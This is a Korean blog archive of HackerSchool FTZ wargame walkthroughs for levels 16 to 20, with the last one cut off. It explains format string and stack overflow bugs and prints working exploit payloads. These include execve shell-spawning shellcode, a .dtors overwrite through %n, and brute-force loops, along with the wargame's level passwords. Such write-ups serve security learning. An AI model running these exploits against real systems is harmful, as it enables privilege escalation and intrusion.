해커스쿨 FTZ 문제풀이 최종본 pdf by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:16 System Hacking/해커스쿨 FTZ



 

몇일간 틈틈이 작성한건데.. 다 쓰고나니 뿌듯하네요ㅎㅎ

이제와서 생각해보니 설명이 부족했던 부분이 많았던 것 같기도 하네요ㅠㅠ

제가 생각하는 것들을 그대로 글로 표현한다는게 생각보다 너무 어려운 것 같습니다...

읽다가 궁금한 부분이나, 잘못 설명된 부분 발견하신 분은 댓글 달아주시면 감사하겠습니다!!

다른 공부와 같이 하느라.. LOB 문제풀이는 틈틈이 시간날 때마다 작성하겠습니다!!

 

모두들 열공하시길ㅎㅎ!!


FTZ_문제풀이 by ORANG.pdf


    • 2015.01.17 23:10
    비밀댓글입니다
    • thanks
    • 2018.01.21 19:02 신고
    감사합니다. 도움 많이되네요
이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level20 -> clear ) + 포맷스트링버그의 이해 by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:13 System Hacking/해커스쿨 FTZ

FTZ_level20

 

마지막 문제네요ㅎㅎ level20은 포맷스트링 문제입니다

지금까지 풀어온 BOF와는 다른 방법을 이용해야하죠

먼저 포맷스트링버그( FSB : Format String Bug )에 대한 개념부터 가볍게 잡겠습니다.

 

음.. 포맷스트링은 c언어 printf 에서 사용하는 %d, %x, %f 같은 문자 입니다.

 

 %c  단일 문자 

 %d  부호 있는 10진 정수

 %i  부호 있는 10진 정수, %d 와 같음

 %f  부호 있는 10진 실수

 %s  문자열

 %o  부호 없는 8진수

 %u  부호 없는 10진수

 %x  부호 없는 16진수

 %e  부동 소수점 표기, e 사용

 %n  쓰인 총 바이트 수

등이 있죠ㅎㅎ

여기서 FSB에 가장 중요한 포맷스트링은 %x와 %n입니다

%x는 부호없는 16진수 출력이죠 -> 16진수 출력이라면 메모리를 읽어낼때 좋겠네요

%n은 이전까지 입력되었던 문자열의 길이(Byte)수 만큼 %n이 가리키는 주소에 저장시킵니다.

따라서 %n을 사용하면 메모리의 변조가 가능하겠죠?

 

포맷 스트링 공격은 포맷스트링을 사용하지 않고 출력하는 함수에 대해 공격이 가능합니다.

예를들자면 

char[] itstest =“apple”;

printf(itstest);

같은 형식에 대해 공격가능합니다. itstest에 포맷 스트링을 넣어주는거죠!!

만약 itstest에 “%x %x %x”이 들억나다고 한다면

printf(itstest)는 printf(“%x %x %x”)이 되겠죠?? 여기서 문제가 발생합니다.

포맷 스트링에 매칭되는 변수가 없을 경우, 스택으로부터 4바이트씩 높여가며 해당 주소의 값을 대입하는 버그가 발생합니다.. 그렇다면 포맷 스트링 버그를 통해 메모리 구조를 볼 수 있겠죠? 게다가 %n을 통해 메모리 변조까지 가능합니다!!

또, 호출 시점에 대해 설명하겠습니다.

C언어에서도 C++과같이 생성자, 소멸자의 개념이 있습니다.. 사실 저도 C언어에도 생성자, 소멸자의 개념이 있다는 걸 이 떄 처음 알았습니다.ㅎㅎ 어쨋든.. C언어에도 생성자와 소멸자 개념이 있다면, main함수가 종료되는 시점에 소멸자가 호출되겠네요

이부분을 셸코드로 바꾼다면 셸을 획득할 수 있습니다

 

너무 간단하게 설명한 느낌이 있긴 하지만.. level20의 문제를 풀면서 보겠습니다!

먼저 bash2를 띄우고!! 힌트를 보겠습니다!!

 

 [level20@ftz level20]$ bash2

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}

 

 

fgets로 입력받는 문자열의 길이에 제한을 79로 두었기 때문에 그동안 풀어온 BOF로는 문제를 풀 수 없겠네요..

printf(bleh); -> 이부분에서 포맷스트링공격이 가능함을 예상할 수 있습니다.

먼저 실행시켜보며 반응을 보겠습니다.

 

 [level20@ftz level20]$ ./attackme

AAAA

AAAA

[level20@ftz level20]$ ./attackme

%x %x %x %x

4f 4212ecc0 4207a750 25207825

[level20@ftz level20]$ ./attackme

%08x %08x %08x %08x

0000004f 4212ecc0 4207a750 78383025

 

 

%x를 넣어줬을 때, 메모리를 읽어낸 듯한 느낌이 옵니다. 

더 시도해보겠습니다.

 

 [level20@ftz level20]$ ./attackme

AAAA %08x %08x %08x %08x %08x

AAAA 0000004f 4212ecc0 4207a750 41414141 38302520


어? AAAA로 입력한 부분이 뒤에서 다시 출력됨을 확인할 수 있습니다.

이것으로 메모리구조를 어렴풋이 생각해볼 수 있겠네요


[level20@ftz tmp]$ gdb ./attackme

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

No symbol "main" in current context.

gdb를 통해 분석하려 했지만 main 함수가 보이지 않네요? 심볼이 지워진 듯합니다.

 

 (gdb) info func

All defined functions:


Non-debugging symbols:

0x080482c8  fgets

0x080482d8  __libc_start_main

0x080482e8  printf

0x080482f8  setreuid

(gdb) disas __libc_start_main

Dump of assembler code for function __libc_start_main:

0x080482d8 <__libc_start_main+0>: jmp    *0x80495b0

0x080482de <__libc_start_main+6>: push   $0x8

0x080482e3 <__libc_start_main+11>: jmp    0x80482b8

End of assembler dump.

찾아보니 main은 없고 __libc_start_main, start main이 있는데 확인해보니

gdb로는 정보를 찾기 힘들 것 같습니다..

쿨하게 원래 하려던대로 포맷스트링버그를 이용하겠습니다ㅋㅋ

 

 [level20@ftz level20]$ ./attackme

AAAA %08x %08x %08x %08x %08x

AAAA 0000004f 4212ecc0 4207a750 41414141 38302520

 

이 부분을 보면, AAAA로부터 3개의 %x를 지나고, 4번째 %x에 AAAA가 출력됨이 보입니다.

printf 함수 뒤로 12바이트 후에 AAAA가 있겠군요?

메모리 구조를 추측해보겠습니다.

 

RET [4]

SFP [4]

dummy [ ? ]

bleh [80]

dummy [12]

printf(bleh)

 

이 되겠네요ㅎㅎ

 

먼저 level20 문제를 풀기 전에, %n을 이용한 메모리 변조 방법에 대해 보겠습니다.

포맷스트링의 입력 패턴은

(printf “AAAA낮은주소BBBB높은주소”)%8x%8x%8x%정수c%n%정수c%n

입니다.

낮은주소, 높은주소를 나누는 이유

 -> 숫자가 너무 커 메모리를 한번에 덮어쓸 수 없는 경우, 2바이트씩 나누어 반씩 넣어주기 위함입니다. 

%8x 

-> 4바이트씩 스택상의 거리 이동

%정수c%n

 -> 정수부분을 조절하여 길이를 조절함, 덮어쓸 숫자를 결정

( 앞에서 언급했지만 %n은 이전까지 입력된 길이의 값을 %n이 가리키는 주소에 저장합니다. 정수를 조절해 입력길이 값을 조절하는 방법이죠 )

 

이부분을 이해하는게 중요합니다!! 조금 더 설명하자면.. 

%8x%8x%8x 로 스택상으로 12바이트 이동한 후에 bleh가 시작됨을 알수있습니다.

그럼 %8x%8x%8x가 지난 시점에서, esp는 “AAAA낮은주소BBBB높은주소…생략…”을 가리키고 있겠죠?

1번째 %정수c는 AAAA를 정수 길이로 출력포맷을 만들며 %c 포맷스트링 지정자에 의해 스택상으로 4바이트 더 이동합니다. 그렇다면 esp는 낮은주소를 가리키겠네요. 현재 esp가 가리키는 이 주소에 1번째 %n지정자 까지의 길이값을 저장합니다. 그 후 %n지정자에 의해 스택상으로 4바이트 더 이동합니다. 그렇다면 esp는 BBBB를 가리키겠죠? 2번째 %정수c는 BBBB를  정수 길이 만큼 출력포맷을 만들고, %c포맷 스트링 지정자에 의해 스택 상으로 4바이트 더 이동합니다. 이제 높은주소를 가리키겠네요ㅎㅎ 2번째 %n 이전까지의 길이값을 현재 esp가 가리키는 주소(높은주소)에 저장합니다.

이게 포맷스트링버그의 원리입니다 조금 복잡하죠??ㅎㅎ 문제를 풀며 보겠습니다~

 

 [level20@ftz level20]$ objdump -h attackme | grep .dtors

 18 .dtors        00000008  08049594  08049594  00000594  2**2

 

objdump -h 옵션으로 심볼을 출력한뒤에, dtors(소멸자) 부분을 찾았습니다.

소멸자의 주소는 0x08049594 +4 한 0x08049598에 있겠네요!!

 

환경변수에 셸코드를 올린 후, 공격해보겠습니다

 

 [level20@ftz tmp]$ export ORANG=`perl -e 'print “\x90”x1000,”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”,"\x90"x30'`

[level20@ftz tmp]$ echo $ORANG

1??h//shh/bin??S????

                    ??

[level20@ftz tmp]$ vi getenv.c

[level20@ftz tmp]$ cat getenv.c

int main(void)

{

printf("ORANG's ADDR -> 0x%x\n", getenv("ORANG"));

}

[level20@ftz tmp]$ gcc getenv.c -o getenv

[level20@ftz tmp]$ ./getenv

ORANG's ADDR -> 0xbffffb13

 

셸코드를 올린 주소는 0xbffffb13 이네요!

소멸자의 주소인 0x08049598에 셸코드 주소를 올려야하는데요 여기서 문제가 발생합니다.

앞에서 말했지만, 0xbffffafe는 너무 크기가 크기 때문에 %n을 이용해 한번에 덮어씌울 수 없습니다.

그래서 2바이트씩 나누어, 0x08049598, 0x0804959a 에 반씩 넣어주겠습니다~~

 

 [level20@ftz level20]$ (perl -e 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08","%8x%8x%8x","%정수c%n","%정수c%n"'; cat) | ./attackme

 

기본 틀은 이렇게 되겠네요 %08x%08x%08x 앞에 주소 부분을 보면,

낮은주소낮은주소높은주소높은주소 형식이 보입니다.

이제 메모리 계산을 통해 %정수c%n 부분 2군데를 낮은주소에 0xfb13, 높은주소에 0xbfff가 들어가도록 정수부분을 수정해야겠네요. 그럼 결과적으로 0xbffffb13가 0x08049598에 들어가겠네요ㅎㅎ

메모리 계산을 해보겠습니다.

여기서 다시한번 중요한건 !! %n은 이전까지 입력된 길이의 값을 입력한다는점입니다.

0xfb13 ( 10진수로 64275 ) 0xbfff ( 10진수로 49151 ) 을 써야 합니다.

첫번째 %정수c%n 앞에 입력된 길이는 4+4+4+4+8+8+8, 40입니다.

0xfb13 - 40바이트 —> 64275-40 = 64235 를 첫번째 정수에 넣어주면 되겠군요!!

두번째 %정수c%n을 보겠습니다 먼저 입력된 길이(64275)가 0xbfff(49151)의 크기를 넘어섰기 때문에

0x1bfff가 들어가게끔 만들어줍니다. -> 0x1bffffb13 이 들어가면 0x08049598에는 bffffb13이 남게 됩니다!!

0x1bfff - (40+64235)바이트 —> 10진수로, 114687-64275 = 50412 를 두번째 정수에 넣어주면 됩니다!

 

그럼 공격해보겠습니다!!

 

 [level20@ftz level20]$ (perl -e 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08","%8x%8x%8x","%64235c%n","%50412c%n"'; cat) | ./attackme


…생략…

    

                                                                                                                B


id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

 

 

ㅎㅎ FTZ의 마지막, clear의 셸을 획득했습니다!!

 

드디어 FTZ가 끝났네 요ㅎㅎ 이제 틈틈이 LOB를 풀며 정리하겠습니다~~



 

읽어주셔서 감사합니다!!

 

 


이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level19 -> level20 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:12 System Hacking/해커스쿨 FTZ

FTZ_level19

 

 [level19@ftz level19]$ bash2

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}

 

 

 

bash2 띄우고~ hint를 보겠습니다.

level18 문제 보다가 이걸 보니 참 좋네요ㅋㅋㅋ

너무 간단한 BOF문제네요 자세히 보면 setreuid 함수가 없는게 약간의 문제인 것 같네요

하지만 권한을 살펴보면 당연히 setuid가 걸려있습니다

 [level19@ftz level19]$ ls -l attackme

-rwsr-x---    1 level20  level19     13615  3월   2003 attackme

 

이럴땐 간단하게, setuid + bash셸을 실행하는 셸코드를 작성하면 됩니다.

셸코드 작성에 대해 궁금하신 분은 ‘셸코드 만드는법’을 봐주세요

System Hacking 카테고리 첫번째 글입니다ㅎㅎ

 

gdb를 이용해 분석하고 메모리 구조를 그려보겠습니다~

 (gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>: push   %ebp

0x08048441 <main+1>: mov    %esp,%ebp

0x08048443 <main+3>: sub    $0x28,%esp

0x08048446 <main+6>: sub    $0xc,%esp

0x08048449 <main+9>: lea    0xffffffd8(%ebp),%eax

0x0804844c <main+12>: push   %eax

0x0804844d <main+13>: call   0x80482f4 <gets>

0x08048452 <main+18>: add    $0x10,%esp

0x08048455 <main+21>: sub    $0x8,%esp

0x08048458 <main+24>: lea    0xffffffd8(%ebp),%eax

0x0804845b <main+27>: push   %eax

0x0804845c <main+28>: push   $0x80484d8

0x08048461 <main+33>: call   0x8048324 <printf>

0x08048466 <main+38>: add    $0x10,%esp

0x08048469 <main+41>: leave

0x0804846a <main+42>: ret

 

RET [4]

SFP [4]

dummy [20]

buf [20]

 

main+3을보면 40바이트의 메모리를 확보하는게 보이네요

40바이트 + 4바이트 (SFP부분) -> 셸코드를 쓸 수 있는 부분이 되겠네요

쓸 수 있는 메모리가 적을 때는 환경변수를 이용하는게 효율적입니다

제가 만든 셸코드는 41바이트 이므로.. 넉넉하진 않지만 일단 시도해보겠습니다ㅎㅎ

공격을 시작하기 전에, buf의 시작 주소를 찾아보겠습니다!!

 

 (gdb) b * main+18

Breakpoint 1 at 0x8048452

(gdb) r

Starting program: /home/level19/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x08048452 in main ()

(gdb) x/40x $esp

0xbfffdcc0: 0xbfffdcd0 0x42130a14 0xbfffdce8 0x08048421

0xbfffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdce0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffdcf0: 0x4200af00 0x42130a14 0xbfffdd18 0x42015574

0xbfffdd00: 0x00000001 0xbfffdd44 0xbfffdd4c 0x4001582c

0xbfffdd10: 0x00000001 0x08048340 0x00000000 0x08048361

0xbfffdd20: 0x08048440 0x00000001 0xbfffdd44 0x080482bc

 

buf의 시작 주소는 0xbfffdcd0 이네요

필요한 정보는 다 얻었으니 공격을 시작해보겠습니다.

 

 [level19@ftz level19]$ while  [ 1 ]; do (perl -e 'print "\x90"x3,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\xd0\xdc\xff\xbf"';cat) | ./attackme; done


1육1????????F??1??h//shh/bin??S????

                                   ??????


세그멘테이션 오류


1육1????????F??1??h//shh/bin??S????

                                   ??????


잘못된 명령어


1육1????????F??1??h//shh/bin??S????

                                   ??????


세그멘테이션 오류


1육1????????F??1??h//shh/bin??S????

                                   ??????


…생략…

 

저번처럼 충분한 시도를 하지않아 실패한걸로 착각하지 않게.. 많은 시도를 했지만 실패했습니다ㅠㅠ

아마도 gdb상에서 나타나는 메모리와 실제 메모리가 나는 오차를 nop으로 충분히 줄여줘야 하는데 셸코드의 크기가 커졌으므로, nop을 3개밖에 넣지 못했기 때문에 실패한것 같습니다ㅠㅠ

 

어쩔 수 없이 환경변수로 뚫어보겠습니다.

setreuid함수가 추가된 셸코드를 환경변수로 띄우고, 주소를 잡아내는 소스를 코딩해보겠습니다.

 

 [level19@ftz tmp]$ export ORANG=`perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz tmp]$ echo $ORANG

1육1????????F??1??h//shh/bin??S????

                                   ??

 

 

 

nop을 200개나 넣어주었습니다!!ㅎㅎ 환경변수에 제대로 올라간 것 같군요

주소를 찾아내겠습니다.

 

 [level19@ftz tmp]$ cat getenv.c

int main(void)

{

printf("ORANG's Addr -> 0x%x\n", getenv("ORANG"));

}

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ORANG's Addr -> 0xbffffe41

 

0xbffffe41에 있네요!! 다시 공격해보겠습니다


 [level19@ftz level19]$ (perl -e 'print "A"x44,"\x51\xfe\xff\xbf"';cat) | ./attackme


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ????


id

uid=3100(level20) gid=3099(level19) groups=3099(level19)

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".

 

 

오차를 더 줄이기위해 0xbffffe51로 공격했습니다ㅎㅎ

역시 환경변수를 이용하면 쉽고 깔끔하네요!! 



이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level18 -> level19 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:11 System Hacking/해커스쿨 FTZ

FTZ_level18

 

 [level18@ftz level18]$ bash2

[level18@ftz level18]$ cat hint

 

#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);

 

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}

 

void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}

 

bash2를 띄우고, 힌트를 보니… ㅎㅎ… 힌트가 참 길군요..

 

복잡하네요.. 파일 디스크립터 관련 fd_set 등 함수들은 처음이라 당황스럽네요

중요한 부분만 보면 check를 0xdeadbeef로 덮어쓰면 셸이 실행되네요

read(fileno(stdin),&x,1) 으로부터 x를 입력받아 switch구문으로 이어지네요

프로그램 진행 흐름상 이 부분은 입력이 있으면 실행되는 부분같으니 파일 디스크립터 관련 함수들은 훼이크 같습니다

 

스위치 부분이 중요하겟네요 \r, \n은 딱히 의미가 없는것 같구요

0x08을 입력받으면 count를 — 해주네요

그 외의 값들은 string[count]에 넣어주고, count를 ++ 해줍니다.

이 부분이 의심스럽다는 삘을 주네요

string의 시작주소를 기준으로 count 값을 변경해주면, 원하는 곳을 원하는 값으로 덮어줄 수 있겠네요

( if(count >=100) 조건문이 있으므로 SFP나 RET를 덮어쓸 순 없을 것 같습니다. )

일단 메모리 구조를 순서대로 대충 그려보겠습니다.

 

(높은메모리방향) string -> check -> x -> count (낮은 메모리 방향)

string의 시작주소를 기준으로 check가 바로 밑에 있네요 이부분을 0xdeadbeef로 덮어 써주겠습니다.

count 값을 통해 덮어써야할 메모리로 이동하려면, string과 check 시작주소 사이의 거리를 재야겠네요

 

gdb를 통해 메모리들의 주소를 찾아보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048550 <main+0>: push   %ebp

0x08048551 <main+1>: mov    %esp,%ebp

0x08048553 <main+3>: sub    $0x100,%esp

…생략…

0x080485ab <main+91>: cmpl   $0xdeadbeef,0xffffff98(%ebp)

…생략…

0x080486dc <main+396>: mov    %eax,0xffffff04(%ebp)

0x080486e2 <main+402>: mov    0xffffff04(%ebp),%ecx

0x080486e8 <main+408>: push   %ecx

0x080486e9 <main+409>: call   0x8048490 <read>

0x080486ee <main+414>: add    $0xc,%esp

…생략…

0x08048731 <main+481>: decl   0xffffff90(%ebp)

…생략…

0x08048743 <main+499>: lea    0xffffff9c(%ebp),%eax

0x08048746 <main+502>: mov    %eax,0xffffff04(%ebp)

0x0804874c <main+508>: mov    0xffffff90(%ebp),%edx

0x0804874f <main+511>: mov    0xffffff94(%ebp),%cl

0x08048752 <main+514>: mov    %cl,0xffffff03(%ebp)

0x08048758 <main+520>: mov    0xffffff03(%ebp),%al

0x0804875e <main+526>: mov    0xffffff04(%ebp),%ecx

0x08048764 <main+532>: mov    %al,(%edx,%ecx,1)

 

main+3을 보면 0x100( 10진수로 256바이트 ) 의 메모리를 확보하는게 보이네요

main+91부분, check와 0xdeadbeef를 비교하는 부분이죠, ebp로부터 104바이트 떨어진 곳에 check가 있습니다.

x를 read함수로 입력받는 main+396 ~ main+414부분을 보겠습니다.

특히 main+402 부분을 보면 x의 위치는 ebp 로부터 252바이트만큼 떨어진 곳에 있네요

main+481 이나 main+535 같은 count 값이 변하는 곳을 보면, ebp로부터 112바이트만큼 떨어진곳에 count가 존재합니다.

main+499 ~ main+532 부분이 string[count]=x 부분이겠군요  main+499 를 보면 ebp로부터 100바이트 떨어진 곳에 string이 존재합니다.

 

메모리 구조를 그려보겠습니다.

 

 

RET

SFP

string [100]

check [4]

dummy [4]

count [4]

dummy [136]

x [4]

fds [4]

 

string[count]=x 를 이용할떄, check를 덮어씌워주려면 string으로부터 -4인 위치를 덮어줘야겟군요

0x08을 4번입력해서 count를 -4로 만들어준 후에 덮어씌워주면 되겠네요

공격해보겠습니다..!!

 

 [level18@ftz level18]$ (perl -e 'print "\x08"x4,"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command:

 

 

 

id

uid=3099(level19) gid=3098(level18) groups=3098(level18)

my-pass

 

Level19 Password is "swimming in pink".

 

 

 

 


이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level17 -> level18 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:10 System Hacking/해커스쿨 FTZ


FTZ_level17

 

 [level17@ftz level17]$ bash2

[level17@ftz level17]$ cat hint

 

#include <stdio.h>

 

void printit() {

  printf("Hello there!\n");

}

 

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}

 

bash2 띄우고~~ 힌트를 보니 level16문제에서 shell 함수가 사라진 것 같네요ㅎㅎ

buf에 셸코드를 집어넣고, printit 함수의 호출 부분( call(); )을 buf의 주소로 바꿔주면 될 것 같습니다.

 

gdb로 분석하고 메모리 구조를 그려보겠습니다~

 

 (gdb) disas main

Dump of assembler code for function main:

0x080484a8 <main+0>: push   %ebp

0x080484a9 <main+1>: mov    %esp,%ebp

0x080484ab <main+3>: sub    $0x38,%esp

0x080484ae <main+6>: movl   $0x8048490,0xfffffff0(%ebp)

0x080484b5 <main+13>: sub    $0x4,%esp

0x080484b8 <main+16>: pushl  0x804967c

0x080484be <main+22>: push   $0x30

0x080484c0 <main+24>: lea    0xffffffc8(%ebp),%eax

0x080484c3 <main+27>: push   %eax

0x080484c4 <main+28>: call   0x8048350 <fgets>

0x080484c9 <main+33>: add    $0x10,%esp

0x080484cc <main+36>: sub    $0x8,%esp

0x080484cf <main+39>: push   $0xc1a

0x080484d4 <main+44>: push   $0xc1a

0x080484d9 <main+49>: call   0x8048380 <setreuid>

0x080484de <main+54>: add    $0x10,%esp

0x080484e1 <main+57>: mov    0xfffffff0(%ebp),%eax

0x080484e4 <main+60>: call   *%eax

0x080484e6 <main+62>: leave

0x080484e7 <main+63>: ret

 

main+3 을 보면 0x38(10진수로 65바이트) 의 메모리 확보를 확인할 수 있고

main+6 을 보면 main+6을 보면 0x8048500, printit 함수의 주소를 ebp-16지점( *call )에 저장하는게 보이네요

 

RET [4]

SFP [4]

dummy [4]

crap [4]

dummy [4]

* call [4]

dummy [20]

buf [20]

 

 

fgets 함수에 의해 buf를 입력받은 직후인 main+33에 브레이크 포인트를 걸어주고 

buf의 주소를 찾아보겠습니다

 

 (gdb) b * main+33

Breakpoint 1 at 0x80484c9

(gdb) r

Starting program: /home/level17/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484c9 in main ()

(gdb) x/40x $esp

0xbfffeeb0: 0xbfffeec0 0x00000030 0x4212ecc0 0x00000000

0xbfffeec0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffeed0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffeee0: 0x41414141 0x41414141 0x41414141 0x00414141

0xbfffeef0: 0x4200af84 0x42130a14 0xbfffef18 0x42015574

0xbfffef00: 0x00000001 0xbfffef44 0xbfffef4c 0x4001582c

0xbfffef10: 0x00000001 0x08048390 0x00000000 0x080483b1

0xbfffef20: 0x080484a8 0x00000001 0xbfffef44 0x08048308

0xbfffef30: 0x08048530 0x4000c660 0xbfffef3c 0x00000000

0xbfffef40: 0x00000001 0xbffffc27 0x00000000 0xbffffc42

 

 

buf의 시작 주소를 0xbfffeec0 이네요ㅎㅎ

반복을 통해 랜덤스택을 우회한 후에

buf에 nop+셸코드를 40바이트 덮어쓰고, *call을 buf의 주소로 덮어쓰겠습니다!!

그럼 공격을 해보면..

 

 [level17@ftz level17]$ while  [ 1 ]; do (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\xc0\xee\xff\xbf"'; cat) | ./attackme; done

 

 

세그멘테이션 오류

 

 

잘못된 명령어

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

…생략…

 

하… 실패했습니다…

방법이 틀린 것 같지는 않은데…

이부분에 대한 문제점을 찾지 못해서 어쩔 수 없이 환경변수를 이용해 공격해보겠습니다.

// 방법 자체는 맞았으나, 반복시도횟수가 적어 셸을 띄우지 못했습니다.

// 공격 성공 부분은 밑에 p.s.부분을 확인해주세요 

 

[level17@ftz tmp]$ export ORANG=`perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level17@ftz tmp]$ echo $ORANG

1??h//shh/bin??S????

                    ??

 

환경변수 ORANG에 nop+ 셸코드를 올린 후,

ORANG의 주소를 불러오는 간단한 소스를 코딩해 주소를 구했습니다.

 

[level17@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("ORANG")); } ' > getenv.c

[level17@ftz tmp]$ gcc getenv.c -o getenv

[level17@ftz tmp]$ ./getenv

ADDR -> 0xbffffedb

 

[level17@ftz level17]$ (perl -e 'print "\x90"x40, "\xdb\xfe\xff\xbf"'; cat) | ./attackme

id

 

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it”.

 

역시 환경변수를 이용한 방법은 깔끔하네요ㅎㅎ level18의 셸을 획득했습니다

 

--------------------------------------------------------------------------------------------------------------------------

 

p.s. 공격에 실패했던 첫번째 방법을 다시 시도해본 결과..

정말 어이없게도.. 방법은 틀리지 않았지만, 반복을 통해 랜덤스택을 우회하던 중에

메모리가 제대로 걸릴만큼 충분히 시도하지 않았었나 봅니다ㅠㅠ

역시 삽질만이 답...

 

같은 방법으로 다시 시도한 결과.. 셸을 획득한 것을 확인했습니다.

 

 [level17@ftz level17]$ while  [ 1 ]; do (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\xc0\xee\xff\xbf"';cat) | ./attackme;  done

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

잘못된 명령어

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

…생략…

 

 

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it".

 

 


이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level16 -> level17 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:10 System Hacking/해커스쿨 FTZ

FTZ_level16

 

[level16@ftz level16]$ bash2

[level16@ftz level16]$ cat hint

 

 

#include <stdio.h>

 

void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}

 

void printit() {

  printf("Hello there!\n");

}

 

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}

 

bash2 띄우고~ 힌트를 확인해보겠습니다!

printit함수의 호출부분( call(); )이 있으니 그 부분에서 shell 함수를 호출하도록 바꿔주겠습니다.

 

gdb를 이용해 분석해보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048518 <main+0>: push   %ebp

0x08048519 <main+1>: mov    %esp,%ebp

0x0804851b <main+3>: sub    $0x38,%esp

0x0804851e <main+6>: movl   $0x8048500,0xfffffff0(%ebp)

0x08048525 <main+13>: sub    $0x4,%esp

0x08048528 <main+16>: pushl  0x80496e8

0x0804852e <main+22>: push   $0x30

